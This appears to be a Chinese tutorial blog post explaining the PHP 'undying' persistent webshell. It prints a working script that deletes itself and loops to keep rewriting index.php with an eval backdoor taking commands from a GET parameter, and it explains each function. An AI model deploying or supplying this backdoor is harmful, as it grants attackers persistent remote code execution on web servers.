当前位置: 首页 > article >正文

PHP内存马:不死马

内存马概念

内存马是无文件攻击的一种常用手段,利用中间件的进程执行某些恶意代码。首先要讲的是PHP不死马,实质上就是直接用代码弄一个死循环,强占一个 PHP 进程,并不间断的写一个PHP shell,或者执行一段代码。

不死马剖析

<?php
    set_time_limit(0);
    ignore_user_abort(1);
    unlink(__FILE__);
    while (1) {
        $content = '<?php @eval($_GET["cmd"]);?>';
        file_put_contents("index.php", $content);
        usleep(10000);
    }   
?>
  • set_time_limit()函数:设置允许脚本运行的时间,单位为秒(如果设置该运行时间,sleep()函数在执行程序时的持续时间将会被忽略掉)
  • ignore_user_abort()函数:函数设置与客户机断开是否会终止脚本的执行(如果设置为True,则忽略与用户的断开)
  • unlink(__FILE__)函数:删除文件(防止文件落地被检测工具查杀)
  • file_put_contents函数:将一个字符串写入该文件中
  • usleep函数:延迟执行当前脚本数微秒,即条件竞争

需要特别注意的是,执行 unlink(__FILE__) 并不会删除正在运行的 PHP 脚本本身,因为脚本在执行过程中已经被加载到内存中。相反,它会删除磁盘上的文件,如果文件正在被其他进程使用,删除操作可能会失败。


http://www.kler.cn/a/371316.html

相关文章:

  • [mysql]相关子查询
  • Flutter加载本地HTML的优雅解决方案:轻松实现富文本展示
  • NOIP-2022 题解
  • Vxe UI vue vxe-table 表格中使用下拉表格,单元格渲染下拉表格
  • 面向对象(下)
  • 图为大模型一体机新探索,赋能智能家居行业
  • 微信小程序如何实现地图轨迹回放?
  • 地球上的中国:世界地图概览
  • Go中的泛型
  • NFS服务器作业
  • Linux云计算 |【第五阶段】CLOUD-DAY1
  • 字母象形与hand的不同解构
  • 【机器学习】揭秘XGboost:高效梯度提升算法的实践与应用
  • 「C/C++」C++ 设计模式 之 单例模式(Singleton)
  • 怎么实现电脑控制100台手机,苹果手机群控系统不用越狱实现新突破
  • GitHub Actions的 CI/CD
  • 鸿蒙开发培训要多久
  • 【计算机网络教程】课程 章节测试1 计算机网络概述
  • 启明云端乐鑫一级代理商,家电设备Matter交互方案,乐鑫ESP32-S3无线技术
  • JVM 调优深度剖析:优化 Java 应用的全方位攻略(一)
  • CentOS下安装ElasticSearch7.9.2(无坑版)
  • uniapp开发【选择地址-省市区功能】,直接套用即可
  • 2024-10-25 问AI: [AI面试题] 强化学习是如何工作
  • LINUX下使用SQLite查看.db数据库文件
  • C++之多态的深度剖析
  • FFmpeg 深度教程音视频处理的终极工具